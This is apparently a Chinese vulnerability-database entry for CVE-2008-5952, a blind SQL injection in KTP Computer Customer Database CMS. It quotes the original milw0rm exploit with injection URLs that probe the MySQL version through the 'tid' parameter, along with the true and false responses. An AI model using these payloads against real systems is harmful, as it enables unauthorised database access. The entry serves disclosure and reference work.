KTP Computer Customer Database SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116880 漏洞类型 SQL注入
发布时间 2008-11-30 更新时间 2009-01-26
CVE编号 CVE-2008-5952 CNNVD-ID CNNVD-200901-309
漏洞平台 PHP CVSS评分 6.0
|漏洞来源
https://www.exploit-db.com/exploits/7305
https://cxsecurity.com/issue/WLB-2009010201
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-309
|漏洞详情
KTPComputerCustomerDatabase(KTPCCD)CMS中存在SQL注入漏洞。当magic_quotes_gpc被中止时,远程认证用户可以借助对默认URI的vtech操作中的tid参数,执行任意的SQL指令。
|漏洞EXP
================================================
  KTPCCD CMS Blind SQL Injection Vulnerability
================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 30 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : APPLICATION : KTP Computer Customer Database CMS
 VERSION     : 1
 DOWNLOAD    : http://downloads.sourceforge.net/ktpcomputercust/ktp_build_20081119.zip
#####################################################

**Need Magic_quote = Off**

--- Blind SQL Injection ---

Login as user or Register at http://[Target]/[ktp_path]/?p=tech&a=ntech then goto Exploit...

---------
 Exploit
---------

Test Blind SQL Injection in MYSQL Version 5

[!]True
[+] http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=5--

Result
Home Phone: 122-131-3123
Cell Phone: 123-123-3123
Fax Number: 123-213-1321
A+ Certifcation ID: 312 


[!]False
[+] http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=4--

Result
Home Phone: n/a
Cell Phone: n/a
Fax Number: n/a
A+ Certifcation ID: (Technician is not certified) 

#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-30]
|参考资料

来源:XF
名称:ktpccd-tid-sql-injection(46897)
链接:http://xforce.iss.net/xforce/xfdb/46897
来源:BID
名称:32539
链接:http://www.securityfocus.com/bid/32539
来源:MILW0RM
名称:7305
链接:http://www.milw0rm.com/exploits/7305
来源:VUPEN
名称:ADV-2008-3292
链接:http://www.frsirt.com/english/advisories/2008/3292
来源:SECUNIA
名称:32888
链接:http://secunia.com/advisories/32888